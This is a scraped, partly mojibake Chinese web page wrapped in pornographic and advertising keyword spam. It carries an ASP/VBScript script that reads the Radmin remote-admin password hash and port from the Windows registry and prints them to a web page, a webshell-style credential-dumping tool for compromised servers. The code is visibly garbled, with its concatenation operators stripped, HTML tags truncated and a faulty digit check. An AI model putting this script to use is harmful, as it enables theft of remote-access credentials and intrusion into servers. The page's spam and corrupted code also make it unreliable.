婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > vbs 獲取radmin注冊表中的信息

vbs 獲取radmin注冊表中的信息
熱門標(biāo)簽：墨西哥地圖標(biāo)注app 企業(yè)400電話辦理價錢低 外呼系統(tǒng)群 龍巖400電話申請 上海辦理400電話選號 外呼系統(tǒng)說話聲音小怎么辦 智云億呼電話機器人 機器人打電銷適用于美業(yè)嗎 天津智能外呼系統(tǒng)排名

%
'========================================Main======================================
Set WSH= Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.Regread(RadminPath  Parameter )
Response.write "The Result of Radmin Hash"
Response.write "br>br>"
Response.write Parameter":"
'=========== ReadPassWord =========
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If   Len (hex(ParameterArray(i)))=1 Then 
strObj = strObj  "0"  CStr(Hex(ParameterArray(i)))
Else
strObj = strObj  Hex(ParameterArray(i))
End If 
Next
response.write Lcase(strobj)
Else
response.write "Error! Can't Read!"
End If
Response.write "br>br>"
'=========== ReadPort =========
PortArray=WSH.REGREAD(RadminPath  Port )
If IsArray(PortArray) Then 
Response.write Port ":" 
Response.write hextointer(CStr(Hex(PortArray(1)))CStr(Hex(PortArray(0))))
Else 
Response.write "Error! Can't Read!"
End If
'=============hex TO int==========
Function hextointer(strin) 
Dim i, j, k, result 
result = 0 
For i = 1 To Len(strin) 
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then 
j = 15 
End If 
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then 
j = 14 
End If 
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then 
j = 13 
End If 
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then 
j = 12 
End If 
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then 
j = 11 
End If 
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then 
j = 10 
End If 
If Mid(strin, i, 1) = "9" And Mid(strin, i, 1) >= "0" Then 
j = CInt(Mid(strin, i, 1)) 
End If 
For k = 1 To Len(strin) - i 
j = j * 16 
Next 
result = result + j 
Next 
hextointer = result 
End Function
'================ End ==========
%>

標(biāo)簽：阜新 承德 麗水 青島 齊齊哈爾 鄂爾多斯 黃山 錫林郭勒盟

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《vbs 獲取radmin注冊表中的信息》，本文關(guān)鍵詞  vbs,獲取,radmin,注冊表,中的,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請?zhí)峁┫嚓P(guān)信息告之我們，我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《vbs 獲取radmin注冊表中的信息》相關(guān)的同類信息！
  • 本頁收集關(guān)于vbs 獲取radmin注冊表中的信息的相關(guān)信息資訊供網(wǎng)民參考！
    • 推薦文章
    主站蜘蛛池模板： 寻甸| 阳西县| 定安县| 白玉县| 禄劝| 屯门区| 松潘县| 宜宾市| 江阴市| 昌黎县| 鲁甸县| 平度市| 灌云县| 福贡县| 长武县| 金溪县| 东乌珠穆沁旗| 衡南县| 阿合奇县| 灵宝市| 仁怀市| 福泉市| 尤溪县| 循化| 滦南县| 竹溪县| 蒙阴县| 达拉特旗| 策勒县| 泗洪县| 资溪县| 合阳县| 从化市| 南江县| 酒泉市| 岢岚县| 南宁市| 苏尼特右旗| 新河县| 海淀区| 黑龙江省|